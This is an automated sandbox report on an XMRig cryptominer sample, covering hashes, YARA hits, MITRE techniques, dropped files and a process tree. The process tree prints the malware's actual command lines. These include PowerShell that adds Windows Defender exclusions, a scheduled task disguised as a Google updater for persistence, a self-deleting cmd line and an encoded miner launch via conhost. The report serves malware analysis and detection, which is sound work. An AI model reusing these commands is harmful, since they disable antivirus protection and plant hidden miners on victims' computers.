xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
460s
max time network
1789s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:15

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General

Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size 2.0MB
Sample240124-vstf4aecaj
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 3020 created 1232	3020	DLKFnAGYJBNTnxwq.exe	13
PID 3020 created 1232	3020	DLKFnAGYJBNTnxwq.exe	13
PID 3020 created 1232	3020	DLKFnAGYJBNTnxwq.exe	13
PID 3020 created 1232	3020	DLKFnAGYJBNTnxwq.exe	13
PID 2632 created 1232	2632	updater.exe	13
PID 2632 created 1232	2632	updater.exe	13
PID 2632 created 1232	2632	updater.exe	13
PID 2632 created 1232	2632	updater.exe	13
PID 2632 created 1232	2632	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral9/memory/1944-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1944-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2228	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2632	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2188	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/1944-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1944-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2632 set thread context of 2604	2632	updater.exe	53
PID 2632 set thread context of 1944	2632	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
892	schtasks.exe
2264	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1448	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7010966fb74fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3020	DLKFnAGYJBNTnxwq.exe
3020	DLKFnAGYJBNTnxwq.exe
3044	powershell.exe
3020	DLKFnAGYJBNTnxwq.exe
3020	DLKFnAGYJBNTnxwq.exe
2764	powershell.exe
3020	DLKFnAGYJBNTnxwq.exe
3020	DLKFnAGYJBNTnxwq.exe
3020	DLKFnAGYJBNTnxwq.exe
3020	DLKFnAGYJBNTnxwq.exe
2888	powershell.exe
2632	updater.exe
2632	updater.exe
1688	powershell.exe
2632	updater.exe
2632	updater.exe
1968	powershell.exe
2632	updater.exe
2632	updater.exe
2632	updater.exe
2632	updater.exe
2604	conhost.exe
2604	conhost.exe
2632	updater.exe
2632	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	2632	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1448	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1448	WMIC.exe
Token: SeSecurityPrivilege	1448	WMIC.exe
Token: SeTakeOwnershipPrivilege	1448	WMIC.exe
Token: SeLoadDriverPrivilege	1448	WMIC.exe
Token: SeSystemtimePrivilege	1448	WMIC.exe
Token: SeBackupPrivilege	1448	WMIC.exe
Token: SeRestorePrivilege	1448	WMIC.exe
Token: SeShutdownPrivilege	1448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1448	WMIC.exe
Token: SeUndockPrivilege	1448	WMIC.exe
Token: SeManageVolumePrivilege	1448	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1448	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1448	WMIC.exe
Token: SeSecurityPrivilege	1448	WMIC.exe
Token: SeTakeOwnershipPrivilege	1448	WMIC.exe
Token: SeLoadDriverPrivilege	1448	WMIC.exe
Token: SeSystemtimePrivilege	1448	WMIC.exe
Token: SeBackupPrivilege	1448	WMIC.exe
Token: SeRestorePrivilege	1448	WMIC.exe
Token: SeShutdownPrivilege	1448	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1448	WMIC.exe
Token: SeUndockPrivilege	1448	WMIC.exe
Token: SeManageVolumePrivilege	1448	WMIC.exe
Token: SeLockMemoryPrivilege	1944	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2764 wrote to memory of 2264	2764	powershell.exe	32
PID 2228 wrote to memory of 2784	2228	cmd.exe	33
PID 2228 wrote to memory of 2784	2228	cmd.exe	33
PID 2228 wrote to memory of 2784	2228	cmd.exe	33
PID 2888 wrote to memory of 2736	2888	powershell.exe	38
PID 2888 wrote to memory of 2736	2888	powershell.exe	38
PID 2888 wrote to memory of 2736	2888	powershell.exe	38
PID 2188 wrote to memory of 2632	2188	taskeng.exe	40
PID 2188 wrote to memory of 2632	2188	taskeng.exe	40
PID 2188 wrote to memory of 2632	2188	taskeng.exe	40
PID 1968 wrote to memory of 892	1968	powershell.exe	45
PID 1968 wrote to memory of 892	1968	powershell.exe	45
PID 1968 wrote to memory of 892	1968	powershell.exe	45
PID 2632 wrote to memory of 2604	2632	updater.exe	53
PID 2664 wrote to memory of 1448	2664	cmd.exe	48
PID 2664 wrote to memory of 1448	2664	cmd.exe	48
PID 2664 wrote to memory of 1448	2664	cmd.exe	48
PID 2632 wrote to memory of 1944	2632	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1232
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:892
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1944
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2664
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2604

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2784

C:\Windows\system32\taskeng.exe
taskeng.exe {1417F4EA-D5FA-48EB-92F3-080CBB23D567} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2632

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1448

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:2204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 180KB
SHA256 b8b2eb1b996867fdf9742c6c8c44bf63efa4e45be092277c698ab4edc076dd72
MD5 0f5f2d47edf8214239926f89df20436e
SHA1 fb187a23e30ae91526168b293afcc99169484610
SHA512 e1aea014ac5ac8aa0eb79887d2b41611f0f1d8ea0b4263fcfdef1c3470a829652493406e42c134a888411845265e2ad492023ed4000387be3156ed8afb35fad5
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923SRVBkU0yS7IbRBu:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0R
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 109KB
SHA256 977be4fbf3e78775eb49b71037bccccb9a6fbfc78cac4ed26e38d8558391ace4
MD5 88c5a09f60262bf3c76ae0ce4f7a36c9
SHA1 360457e2e95b9a16f68870c070d7b435c6052b9b
SHA512 da6df145a03d8b7ae76e13daf8bf8a81af56bd86b017771732a5d2ee30d0f4c7e1c5e0e545df66080afad4b8b14b6f492278735525d12a6ee9a0f75768775785
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI19r:L3zjTv46w/ZUFO5TbwWpUt1D995t7
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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T4UUDNRK47RLGXUG0RR3.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T4UUDNRK47RLGXUG0RR3.temp
Size 7KB
SHA256 43b3407ec91380e0f2e4847d423d15fc2080c9e35618f5cac68cb28ab8db6690
MD5 6461eb1c3561d5696141f0acde9e3603
SHA1 7a269f94a7d7a12041ccfd381dbc242fbc4b112d
SHA512 7ff314fde7f590c399719e4c93be98b2a88f57b262c6b5b27ef6575335e1282541ddfb25a7ea0684f306b6bb80c612ee4d115a207a61c111afd0d7e1325141a4
SSDEEP 96:gBX2C1M8UnqvsqvJCwo8BX2C1M8UnqvsEHyqvJCworlVxNQHoa7q6XlUVP:Q7oUok7oAHnorlZla7q6g
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 130KB
SHA256 c58aecf60654a29f0856af4e83fc64419025d59eacb8244433a1236bd19d63e6
MD5 614acc7d21284c2f02801b89b85efe59
SHA1 312852f838dede1681c28edc9f4937c840b8700b
SHA512 979816223a4d603b27e0397e9626e830ece2b9b2405f33e0d0ba658c11e814945e91eff487e23757864df513609332d0b406b4f060a9b23c51ae30de1ee99750
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqX:L3zjTg6uUuViDX5Q6k6hyqX
MD5 SHA1 SHA512 SSDEEP

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memory/1688-45-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/1688-47-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/1688-49-0x0000000001560000-0x00000000015E0000-memory.dmp

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memory/1688-50-0x0000000001560000-0x00000000015E0000-memory.dmp

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memory/1688-51-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/1688-48-0x0000000001560000-0x00000000015E0000-memory.dmp

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memory/1688-46-0x0000000001560000-0x00000000015E0000-memory.dmp

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memory/1944-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-75-0x00000000002B0000-0x00000000002D0000-memory.dmp

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memory/1944-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-74-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/1944-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-68-0x0000000000270000-0x0000000000290000-memory.dmp

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memory/1944-69-0x00000000002B0000-0x00000000002D0000-memory.dmp

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memory/1944-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1944-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1968-55-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1968-54-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1968-58-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1968-56-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1968-57-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/1968-52-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1968-53-0x00000000013B0000-0x0000000001430000-memory.dmp

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memory/2604-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2604-76-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2632-44-0x000000013F840000-0x000000013FA51000-memory.dmp

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memory/2632-65-0x000000013F840000-0x000000013FA51000-memory.dmp

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memory/2764-18-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

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memory/2764-26-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2764-19-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2764-20-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2764-24-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2764-23-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2764-22-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2764-21-0x0000000002920000-0x0000000002928000-memory.dmp

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memory/2764-25-0x0000000002B70000-0x0000000002BF0000-memory.dmp

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memory/2888-35-0x0000000002810000-0x0000000002890000-memory.dmp

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memory/2888-37-0x0000000002810000-0x0000000002890000-memory.dmp

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memory/2888-34-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2888-36-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2888-40-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2888-39-0x0000000002810000-0x0000000002890000-memory.dmp

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memory/2888-38-0x0000000002810000-0x0000000002890000-memory.dmp

